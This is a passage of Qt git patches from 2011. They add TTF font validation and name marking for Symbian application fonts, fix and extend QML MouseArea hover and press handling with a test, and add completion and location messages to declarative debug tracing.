    +            toDWordBoundary(sizeof(OffsetTable) + numTables * sizeof(TableRecord));
    +    if (numTables > 30 // hard limit
    +            || recordsLength + numTables * alignment > ttfLength) // Corrupt ttf. Tables would not fit, even if empty.
    +        return false;
    +
    +    QByteArray markedTtf;
    +    markedTtf.reserve(ttfLength + marker.length() * 20); // Original size plus some extra
    +    markedTtf.append(ttf.constData(), recordsLength);
    +
    +    const quint32 ttfCheckSumAdjustmentOffset = 8; // Offset from the start of 'head'
    +    int indexOfHeadTable = -1;
    +    quint32 ttfDataSize = recordsLength;
    +    typedef QPair Range;
    +    QList memoryRanges;
    +    memoryRanges.reserve(numTables);
    +    for (int i = 0; i < numTables; ++i) {
    +        TableRecord *tableRecord =
    +                reinterpret_cast(markedTtf.data() + sizeof(OffsetTable) + i * sizeof(TableRecord));
    +        const quint32 offset = qFromBigEndian(tableRecord->offset);
    +        const quint32 length = qFromBigEndian(tableRecord->length);
    +        const quint32 lengthAligned = toDWordBoundary(length);
    +        ttfDataSize += lengthAligned;
    +        if (offset < recordsLength // must not intersect ttf header/records
    +                || offset % alignment != 0 // must be aligned
    +                || offset > ttfLength - alignment // table out of bounds
    +                || offset + lengthAligned > ttfLength // table out of bounds
    +                || ttfDataSize > ttfLength) // tables would not fit into the ttf
    +            return false;
     
    -    if (QSymbianFontDatabaseExtrasImplementation::appFontLimitReached())
    +        foreach (const Range &range, memoryRanges)
    +            if (offset < range.first + range.second && offset + lengthAligned > range.first)
    +                return false; // Overlaps with another table
    +        memoryRanges.append(Range(offset, lengthAligned));
    +
    +        quint32 checkSum = qFromBigEndian(tableRecord->checkSum);
    +        if (tableRecord->tag == qToBigEndian('head')) {
    +            if (length < ttfCheckSumAdjustmentOffset + sizeof(quint32))
    +                return false; // Invalid 'head' table
    +            const quint32 *checkSumAdjustmentTag =
    +                    reinterpret_cast(ttf.constData() + offset + ttfCheckSumAdjustmentOffset);
    +            const quint32 checkSumAdjustment = qFromBigEndian(*checkSumAdjustmentTag);
    +            checkSum += checkSumAdjustment;
    +            indexOfHeadTable = i; // For the ttf checksum re-calculation, later
    +        }
    +        if (checkSum != ttfCalcChecksum(ttf.constData() + offset, length))
    +            return false; // Table checksum is invalid
    +
    +        bool updateTableChecksum = false;
    +        QByteArray table;
    +        if (tableRecord->tag == qToBigEndian('name')) {
    +            table = QByteArray(ttf.constData() + offset, length);
    +            if (!ttfMarkNameTable(table, marker))
    +                return false; // Name table was not markable.
    +            updateTableChecksum = true;
    +        } else {
    +            table = QByteArray::fromRawData(ttf.constData() + offset, length);
    +        }
    +
    +        tableRecord->offset = qToBigEndian(markedTtf.size());
    +        tableRecord->length = qToBigEndian(table.size());
    +        markedTtf.append(table);
    +        markedTtf.append(QByteArray(dWordPadding(table.size()), 0)); // 0-padding
    +        if (updateTableChecksum) {
    +            TableRecord *tableRecord = // Need to recalculate, since markedTtf changed
    +                    reinterpret_cast(markedTtf.data() + sizeof(OffsetTable) + i * sizeof(TableRecord));
    +            const quint32 offset = qFromBigEndian(tableRecord->offset);
    +            const quint32 length = qFromBigEndian(tableRecord->length);
    +            tableRecord->checkSum = qToBigEndian(ttfCalcChecksum(markedTtf.constData() + offset, length));
    +        }
    +    }
    +    if (indexOfHeadTable == -1 // 'head' table is mandatory
    +            || ttfDataSize != ttfLength) // We do not allow ttf data "holes". Neither does Symbian.
    +        return false;
    +    TableRecord *headRecord =
    +            reinterpret_cast(markedTtf.data() + sizeof(OffsetTable) + indexOfHeadTable * sizeof(TableRecord));
    +    quint32 *checkSumAdjustmentTag =
    +            reinterpret_cast(markedTtf.data() + qFromBigEndian(headRecord->offset) + ttfCheckSumAdjustmentOffset);
    +    *checkSumAdjustmentTag = 0;
    +    const quint32 ttfChecksum = ttfCalcChecksum(markedTtf.constData(), markedTtf.count());
    +    *checkSumAdjustmentTag = qToBigEndian(ttfChecksumNumber - ttfChecksum);
    +    ttf = markedTtf;
    +    return true;
    +}
    +
    +static inline bool ttfCanSymbianLoadFont(const QByteArray &data, const QString &fileName)
    +{
    +    bool result = false;
    +    QString ttfFileName;
    +    QFile tempFileGuard;
    +    QFileInfo info(fileName);
    +    if (!data.isEmpty()) {
    +        QTemporaryFile tempfile(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()
    +                                + QSymbianFontDatabaseExtrasImplementation::appFontMarker()
    +                                + QLatin1String("XXXXXX.ttf"));
    +        if (!tempfile.open() || tempfile.write(data) == -1)
    +            return false;
    +        ttfFileName = QDir::toNativeSeparators(QFileInfo(tempfile).canonicalFilePath());
    +        tempfile.setAutoRemove(false);
    +        tempfile.close();
    +        tempFileGuard.setFileName(ttfFileName);
    +        if (!tempFileGuard.open(QIODevice::ReadOnly))
    +            return false;
    +    } else if (info.isFile()) {
    +        ttfFileName = QDir::toNativeSeparators(info.canonicalFilePath());
    +    } else {
    +        return false;
    +    }
    +
    +    CFontStore *store = 0;
    +    RHeap* heap = User::ChunkHeap(NULL, 0x1000, 0x20000);
    +    if (heap) {
    +        QT_TRAP_THROWING(
    +            CleanupClosePushL(*heap);
    +            store = CFontStore::NewL(heap);
    +            CleanupStack::PushL(store);
    +            COpenFontRasterizer *rasterizer = COpenFontRasterizer::NewL(TUid::Uid(0x101F7F5E));
    +            CleanupStack::PushL(rasterizer);
    +            store->InstallRasterizerL(rasterizer);
    +            CleanupStack::Pop(rasterizer);
    +            TUid fontUid = {-1};
    +            TRAP_IGNORE(fontUid = store->AddFileL(qt_QString2TPtrC(ttfFileName)));
    +            if (fontUid.iUid != -1)
    +                result = true;
    +            CleanupStack::PopAndDestroy(2, heap); // heap, store
    +        );
    +    }
    +
    +    if (tempFileGuard.isOpen())
    +        tempFileGuard.remove();
    +
    +    return result;
    +}
    +
    +static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
    +{
    +    if (QSymbianFontDatabaseExtrasImplementation::appFontLimitReached()
    +            || fnt->data.size() > ttfMaxFileSize // hard limit
    +            || fnt->data.isEmpty() && (!fnt->fileName.endsWith(QLatin1String(".ttf"), Qt::CaseInsensitive) // Only buffer or .ttf
    +                                       || QFileInfo(fnt->fileName).size() > ttfMaxFileSize)) // hard limit
             return;
     
    +//    Using ttfCanSymbianLoadFont() causes crashes on app destruction (Symbian^3|PR1 and lower).
    +//    Therefore, not using it for now, but eventually in a later version.
    +//    if (!ttfCanSymbianLoadFont(fnt->data, fnt->fileName))
    +//        return;
    +
         QFontDatabasePrivate *db = privateDb();
         if (!db)
             return;
    @@ -530,13 +839,13 @@ static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
         if (!db->count)
             initializeDb();
     
    -    if (fnt->data.isEmpty() && !fnt->fileName.endsWith(QLatin1String(".ttf"), Qt::CaseInsensitive))
    -        return; // Only buffer or .ttf
         QSymbianFontDatabaseExtrasImplementation *dbExtras =
                 static_cast(db->symbianExtras);
         if (!dbExtras)
             return;
     
    +    const QString &marker = QSymbianFontDatabaseExtrasImplementation::appFontMarker();
    +
         // The QTemporaryFile object being used in the following section must be
         // destructed before letting Symbian load the TTF file. Symbian would not
         // load it otherwise, because QTemporaryFile will still keep some handle
    @@ -548,8 +857,7 @@ static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
         QFile tempFileGuard;
         {
             QTemporaryFile tempfile(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()
    -                                + QSymbianFontDatabaseExtrasImplementation::appFontMarker()
    -                                + QLatin1String("XXXXXX.ttf"));
    +                                + marker + QLatin1String("XXXXXX.ttf"));
             if (!tempfile.open())
                 return;
             const QString tempFileName = QFileInfo(tempfile).canonicalFilePath();
    @@ -559,10 +867,11 @@ static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
                     return;
                 fnt->data = sourceFile.readAll();
             }
    -        if (tempfile.write(fnt->data) == -1)
    +        if (!ttfMarkAppFont(fnt->data, marker) || tempfile.write(fnt->data) == -1)
                 return;
             tempfile.setAutoRemove(false);
             tempfile.close(); // Tempfile still keeps a file handle, forbidding write access
    +        fnt->data.clear(); // The TTF data was marked and saved. Not needed in memory, anymore.
             tempFileGuard.setFileName(tempFileName);
             if (!tempFileGuard.open(QIODevice::ReadOnly))
                 return;
    @@ -593,10 +902,14 @@ static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
             if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable())
                 fnt->fontStoreFontFileUid = dbExtras->addFontFileToFontStore(QFileInfo(fullFileName));
     
    -        fnt->families.append(fontsOnServerAfter.at(fontOnServerIndex));
    -        if (!registerScreenDeviceFont(fontOnServerIndex, dbExtras))
    +        const QString &appFontName = fontsOnServerAfter.at(fontOnServerIndex);
    +        fnt->families.append(qt_symbian_appFontNameWithoutMarker(appFontName));
    +        if (!qt_symbian_fontNameHasAppFontMarker(appFontName)
    +                || !registerScreenDeviceFont(fontOnServerIndex, dbExtras))
                 dbExtras->removeAppFontData(fnt);
         } else {
    +        if (fnt->screenDeviceFontFileId > 0)
    +            S60->screenDevice()->RemoveFile(fnt->screenDeviceFontFileId); // May still have the file open!
             QFile::remove(fnt->temporaryFileName);
             *fnt = QFontDatabasePrivate::ApplicationFont();
         }
    @@ -669,7 +982,7 @@ QFontEngine *QFontDatabase::findFont(int script, const QFontPrivate *d, const QF
             QFontDatabasePrivate *db = privateDb();
             QtFontDesc desc;
             QList blacklistedFamilies;
    -        match(script, req, req.family, QString(), -1, &desc, blacklistedFamilies);
    +        match(script, key.def, key.def.family, QString(), -1, &desc, blacklistedFamilies);
             if (!desc.family) // falling back to application font
                 desc.family = db->family(QApplication::font().defaultFamily());
             Q_ASSERT(desc.family);
    diff --git a/src/gui/text/qfontengine_s60.cpp b/src/gui/text/qfontengine_s60.cpp
    index b572cdd..f2b6f5c 100644
    --- a/src/gui/text/qfontengine_s60.cpp
    +++ b/src/gui/text/qfontengine_s60.cpp
    @@ -243,10 +243,13 @@ static inline unsigned int getChar(const QChar *str, int &i, const int len)
         return uc;
     }
     
    +extern QString qt_symbian_fontNameWithAppFontMarker(const QString &fontName); // qfontdatabase_s60.cpp
    +
     CFont *QFontEngineS60::fontWithSize(qreal size) const
     {
         CFont *result = 0;
    -    TFontSpec fontSpec(qt_QString2TPtrC(QFontEngine::fontDef.family), TInt(size));
    +    const QString family = qt_symbian_fontNameWithAppFontMarker(QFontEngine::fontDef.family);
    +    TFontSpec fontSpec(qt_QString2TPtrC(family), TInt(size));
         fontSpec.iFontStyle.SetBitmapType(EAntiAliasedGlyphBitmap);
         fontSpec.iFontStyle.SetPosture(QFontEngine::fontDef.style == QFont::StyleNormal?EPostureUpright:EPostureItalic);
         fontSpec.iFontStyle.SetStrokeWeight(QFontEngine::fontDef.weight > QFont::Normal?EStrokeWeightBold:EStrokeWeightNormal);
    -- 
    cgit v0.12
    
    
    From 1aea31ebfdd9a6893b2d88b69f34de0b1456b2e4 Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Mon, 24 Jan 2011 14:08:23 +1000
    Subject: Fix copy-paste error in QDeclarativeMouseArea::hoverMoveEvent.
    
    Reviewed-by: Martin Jones
    ---
     src/declarative/graphicsitems/qdeclarativemousearea.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    index 4b555d0..82125f7 100644
    --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    @@ -591,7 +591,7 @@ void QDeclarativeMouseArea::hoverMoveEvent(QGraphicsSceneHoverEvent *event)
     {
         Q_D(QDeclarativeMouseArea);
         if (!d->absorb) {
    -        QDeclarativeItem::hoverEnterEvent(event);
    +        QDeclarativeItem::hoverMoveEvent(event);
         } else {
             d->lastPos = event->pos();
             QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, d->lastButtons, d->lastModifiers, false, d->longPress);
    -- 
    cgit v0.12
    
    
    From 4768e23056691ee14a91e1f2cf258e8f51847aaf Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Mon, 24 Jan 2011 16:05:17 +1000
    Subject: Improve information reported for MouseArea hover events.
    
    Reviewed-by: Martin Jones
    ---
     src/declarative/graphicsitems/qdeclarativemousearea.cpp | 8 ++++++--
     1 file changed, 6 insertions(+), 2 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    index 82125f7..ee6765c 100644
    --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    @@ -583,8 +583,12 @@ void QDeclarativeMouseArea::hoverEnterEvent(QGraphicsSceneHoverEvent *event)
         Q_D(QDeclarativeMouseArea);
         if (!d->absorb)
             QDeclarativeItem::hoverEnterEvent(event);
    -    else
    +    else {
    +        d->lastPos = event->pos();
             setHovered(true);
    +        QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false);
    +        emit mousePositionChanged(&me);
    +    }
     }
     
     void QDeclarativeMouseArea::hoverMoveEvent(QGraphicsSceneHoverEvent *event)
    @@ -594,7 +598,7 @@ void QDeclarativeMouseArea::hoverMoveEvent(QGraphicsSceneHoverEvent *event)
             QDeclarativeItem::hoverMoveEvent(event);
         } else {
             d->lastPos = event->pos();
    -        QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, d->lastButtons, d->lastModifiers, false, d->longPress);
    +        QDeclarativeMouseEvent me(d->lastPos.x(), d->lastPos.y(), Qt::NoButton, Qt::NoButton, event->modifiers(), false, false);
             emit mousePositionChanged(&me);
             me.setX(d->lastPos.x());
             me.setY(d->lastPos.y());
    -- 
    cgit v0.12
    
    
    From b36859acae472916c35ac31174c8230543d900ab Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Tue, 25 Jan 2011 09:30:45 +1000
    Subject: Notify that pressed has changed before calling the onClicked handler.
    
    This is a more natural ordering, and makes it trivial to control
    different state groups with pressed and onClicked.
    
    Reviewed-by: Martin Jones
    ---
     .../graphicsitems/qdeclarativemousearea.cpp        |  3 +-
     .../qdeclarativemousearea/data/pressedOrdering.qml | 28 +++++++++++++++++
     .../tst_qdeclarativemousearea.cpp                  | 35 ++++++++++++++++++++++
     3 files changed, 65 insertions(+), 1 deletion(-)
     create mode 100644 tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativemousearea.cpp b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    index ee6765c..273fc53 100644
    --- a/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativemousearea.cpp
    @@ -863,15 +863,16 @@ bool QDeclarativeMouseArea::setPressed(bool p)
                 me.setX(d->lastPos.x());
                 me.setY(d->lastPos.y());
                 emit mousePositionChanged(&me);
    +            emit pressedChanged();
             } else {
                 emit released(&me);
                 me.setX(d->lastPos.x());
                 me.setY(d->lastPos.y());
    +            emit pressedChanged();
                 if (isclick && !d->longPress && !d->doubleClick)
                     emit clicked(&me);
             }
     
    -        emit pressedChanged();
             return me.isAccepted();
         }
         return false;
    diff --git a/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml b/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
    new file mode 100644
    index 0000000..4a80e83
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
    @@ -0,0 +1,28 @@
    +import QtQuick 1.0
    +
    +Item {
    +    id: root
    +    property string value: "base"
    +
    +    MouseArea {
    +        id: mouseArea
    +        width: 200; height: 200
    +        onClicked: toggleState.state = "toggled"
    +    }
    +
    +    StateGroup {
    +        states: State {
    +            name: "pressed"
    +            when: mouseArea.pressed
    +            PropertyChanges { target: root; value: "pressed" }
    +        }
    +    }
    +
    +    StateGroup {
    +        id: toggleState
    +        states: State {
    +            name: "toggled"
    +            PropertyChanges { target: root; value: "toggled" }
    +        }
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp b/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
    index 9d7cc05..845d6bb 100644
    --- a/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
    +++ b/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
    @@ -64,6 +64,7 @@ private slots:
         void onMousePressRejected();
         void doubleClick();
         void clickTwice();
    +    void pressedOrdering();
     
     private:
         QDeclarativeView *createView();
    @@ -477,6 +478,40 @@ void tst_QDeclarativeMouseArea::clickTwice()
         QCOMPARE(canvas->rootObject()->property("clicked").toInt(), 2);
     }
     
    +void tst_QDeclarativeMouseArea::pressedOrdering()
    +{
    +    QDeclarativeView *canvas = createView();
    +    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pressedOrdering.qml"));
    +    canvas->show();
    +    canvas->setFocus();
    +    QVERIFY(canvas->rootObject() != 0);
    +
    +    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("base"));
    +
    +    QGraphicsScene *scene = canvas->scene();
    +    QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress);
    +    pressEvent.setScenePos(QPointF(100, 100));
    +    pressEvent.setButton(Qt::LeftButton);
    +    pressEvent.setButtons(Qt::LeftButton);
    +    QApplication::sendEvent(scene, &pressEvent);
    +
    +    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed"));
    +
    +    QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease);
    +    releaseEvent.setScenePos(QPointF(100, 100));
    +    releaseEvent.setButton(Qt::LeftButton);
    +    releaseEvent.setButtons(Qt::LeftButton);
    +    QApplication::sendEvent(scene, &releaseEvent);
    +
    +    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("toggled"));
    +
    +    QApplication::sendEvent(scene, &pressEvent);
    +
    +    QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed"));
    +
    +    delete canvas;
    +}
    +
     QTEST_MAIN(tst_QDeclarativeMouseArea)
     
     #include "tst_qdeclarativemousearea.moc"
    -- 
    cgit v0.12
    
    
    From 1873b12eb8f5175aa852341a7055add77b6fcc80 Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Mon, 17 Jan 2011 10:36:45 +1000
    Subject: Add "Complete" message for tracing.
    
    ---
     src/declarative/debugger/qdeclarativedebugtrace.cpp | 6 ++++++
     src/declarative/debugger/qdeclarativedebugtrace_p.h | 1 +
     2 files changed, 7 insertions(+)
    
    diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    index cdf0001..9fa1f5b 100644
    --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp
    +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    @@ -165,6 +165,12 @@ void QDeclarativeDebugTrace::sendMessages()
             for (int i = 0; i < m_data.count(); ++i)
                 sendMessage(m_data.at(i).toByteArray());
             m_data.clear();
    +
    +        //indicate completion
    +        QByteArray data;
    +        QDataStream ds(&data, QIODevice::WriteOnly);
    +        ds << (qint64)-1 << (int)Complete;
    +        sendMessage(data);
         }
     }
     
    diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h
    index 008c59e..39268fe 100644
    --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h
    +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h
    @@ -70,6 +70,7 @@ public:
             RangeStart,
             RangeData,
             RangeEnd,
    +        Complete,
     
             MaximumMessage
         };
    -- 
    cgit v0.12
    
    
    From d7a95474fad9d5ddcc9c9a7473a49644c03e0f7a Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Fri, 21 Jan 2011 13:48:36 +1000
    Subject: Add location information for tracing.
    
    ---
     .../debugger/qdeclarativedebugtrace.cpp            | 42 +++++++++++++++++++---
     .../debugger/qdeclarativedebugtrace_p.h            | 12 +++++--
     src/declarative/qml/qdeclarativebinding.cpp        |  1 +
     src/declarative/qml/qdeclarativeboundsignal.cpp    | 10 ++++--
     src/declarative/qml/qdeclarativeengine.cpp         | 10 ++++--
     5 files changed, 63 insertions(+), 12 deletions(-)
    
    diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    index 9fa1f5b..4bad405 100644
    --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp
    +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    @@ -58,6 +58,8 @@ QByteArray QDeclarativeDebugData::toByteArray() const
         ds << time << messageType << detailType;
         if (messageType == (int)QDeclarativeDebugTrace::RangeData)
             ds << detailData;
    +    if (messageType == (int)QDeclarativeDebugTrace::RangeLocation)
    +        ds << detailData << line;
         return data;
     }
     
    @@ -92,6 +94,18 @@ void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &data)
             traceInstance()->rangeDataImpl(t, data);
     }
     
    +void QDeclarativeDebugTrace::rangeLocation(RangeType t, const QString &fileName, int line)
    +{
    +    if (QDeclarativeDebugService::isDebuggingEnabled())
    +        traceInstance()->rangeLocationImpl(t, fileName, line);
    +}
    +
    +void QDeclarativeDebugTrace::rangeLocation(RangeType t, const QUrl &fileName, int line)
    +{
    +    if (QDeclarativeDebugService::isDebuggingEnabled())
    +        traceInstance()->rangeLocationImpl(t, fileName, line);
    +}
    +
     void QDeclarativeDebugTrace::endRange(RangeType t)
     {
         if (QDeclarativeDebugService::isDebuggingEnabled()) 
    @@ -103,7 +117,7 @@ void QDeclarativeDebugTrace::addEventImpl(EventType event)
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData ed = {m_timer.elapsed(), (int)Event, (int)event, QString()};
    +    QDeclarativeDebugData ed = {m_timer.elapsed(), (int)Event, (int)event, QString(), -1};
         processMessage(ed);
     }
     
    @@ -112,7 +126,7 @@ void QDeclarativeDebugTrace::startRangeImpl(RangeType range)
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeStart, (int)range, QString()};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeStart, (int)range, QString(), -1};
         processMessage(rd);
     }
     
    @@ -121,7 +135,7 @@ void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData, -1};
         processMessage(rd);
     }
     
    @@ -130,7 +144,25 @@ void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &rData)
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toEncoded(QUrl::FormattingOption(0x100))};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toEncoded(QUrl::FormattingOption(0x100)), -1};
    +    processMessage(rd);
    +}
    +
    +void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QString &fileName, int line)
    +{
    +    if (status() != Enabled || !m_enabled)
    +        return;
    +
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName, line};
    +    processMessage(rd);
    +}
    +
    +void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QUrl &fileName, int line)
    +{
    +    if (status() != Enabled || !m_enabled)
    +        return;
    +
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName.toEncoded(QUrl::FormattingOption(0x100)), line};
         processMessage(rd);
     }
     
    @@ -139,7 +171,7 @@ void QDeclarativeDebugTrace::endRangeImpl(RangeType range)
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeEnd, (int)range, QString()};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeEnd, (int)range, QString(), -1};
         processMessage(rd);
     }
     
    diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h
    index 39268fe..ae0653e 100644
    --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h
    +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h
    @@ -54,13 +54,14 @@ struct QDeclarativeDebugData
         qint64 time;
         int messageType;
         int detailType;
    -    QString detailData;
    +
    +    //###
    +    QString detailData; //used by RangeData and RangeLocation
    +    int line;           //used by RangeLocation
     
         QByteArray toByteArray() const;
     };
     
    -Q_DECLARE_TYPEINFO(QDeclarativeDebugData,Q_PRIMITIVE_TYPE);
    -
     class QUrl;
     class Q_AUTOTEST_EXPORT QDeclarativeDebugTrace : public QDeclarativeDebugService
     {
    @@ -69,6 +70,7 @@ public:
             Event,
             RangeStart,
             RangeData,
    +        RangeLocation,
             RangeEnd,
             Complete,
     
    @@ -98,6 +100,8 @@ public:
         static void startRange(RangeType);
         static void rangeData(RangeType, const QString &);
         static void rangeData(RangeType, const QUrl &);
    +    static void rangeLocation(RangeType, const QString &, int);
    +    static void rangeLocation(RangeType, const QUrl &, int);
         static void endRange(RangeType);
     
         QDeclarativeDebugTrace();
    @@ -108,6 +112,8 @@ private:
         void startRangeImpl(RangeType);
         void rangeDataImpl(RangeType, const QString &);
         void rangeDataImpl(RangeType, const QUrl &);
    +    void rangeLocationImpl(RangeType, const QString &, int);
    +    void rangeLocationImpl(RangeType, const QUrl &, int);
         void endRangeImpl(RangeType);
         void processMessage(const QDeclarativeDebugData &);
         void sendMessages();
    diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp
    index bd1ac5a..b2d0738 100644
    --- a/src/declarative/qml/qdeclarativebinding.cpp
    +++ b/src/declarative/qml/qdeclarativebinding.cpp
    @@ -298,6 +298,7 @@ public:
         {
             QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding);
             QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression());
    +        QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::Binding, bind->sourceFile(), bind->lineNumber());
         }
     
         ~QDeclarativeBindingProfiler()
    diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp
    index 9b7e570..d5c9bfc 100644
    --- a/src/declarative/qml/qdeclarativeboundsignal.cpp
    +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp
    @@ -51,6 +51,7 @@
     #include "private/qdeclarativeglobal_p.h"
     #include "private/qdeclarativedebugtrace_p.h"
     
    +#include 
     #include 
     
     QT_BEGIN_NAMESPACE
    @@ -166,8 +167,13 @@ QDeclarativeBoundSignal *QDeclarativeBoundSignal::cast(QObject *o)
     int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a)
     {
         if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) {
    -        QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal);
    -        QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) + QLatin1String(": ") + (m_expression ? m_expression->expression() : QLatin1String("")));
    +        if (!m_expression)
    +            return -1;
    +        if (QDeclarativeDebugService::isDebuggingEnabled()) {
    +            QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal);
    +            QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) % QLatin1String(": ") % m_expression->expression());
    +            QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::HandlingSignal, m_expression->sourceFile(), m_expression->lineNumber());
    +        }
             m_isEvaluating = true;
             if (!m_paramsValid) {
                 if (!m_signal.parameterTypes().isEmpty())
    diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp
    index 0f3f20c..99a098e 100644
    --- a/src/declarative/qml/qdeclarativeengine.cpp
    +++ b/src/declarative/qml/qdeclarativeengine.cpp
    @@ -964,8 +964,14 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object)
         QDeclarativeData *data = QDeclarativeData::get(object);
     
         if (data && data->deferredComponent) {
    -        QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating);
    -        QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, QLatin1String("Deferred Creation:") + object->metaObject()->className());
    +        if (QDeclarativeDebugService::isDebuggingEnabled()) {
    +            QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating);
    +            QDeclarativeType *type = QDeclarativeMetaType::qmlType(object->metaObject());
    +            QString typeName = type ? QLatin1String(type->qmlTypeName()) : QString::fromLatin1(object->metaObject()->className());
    +            QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, typeName);
    +            if (data->outerContext)
    +                QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::Creating, data->outerContext->url, data->lineNumber);
    +        }
             QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(data->context->engine);
     
             QDeclarativeComponentPrivate::ConstructionState state;
    -- 
    cgit v0.12
    
    
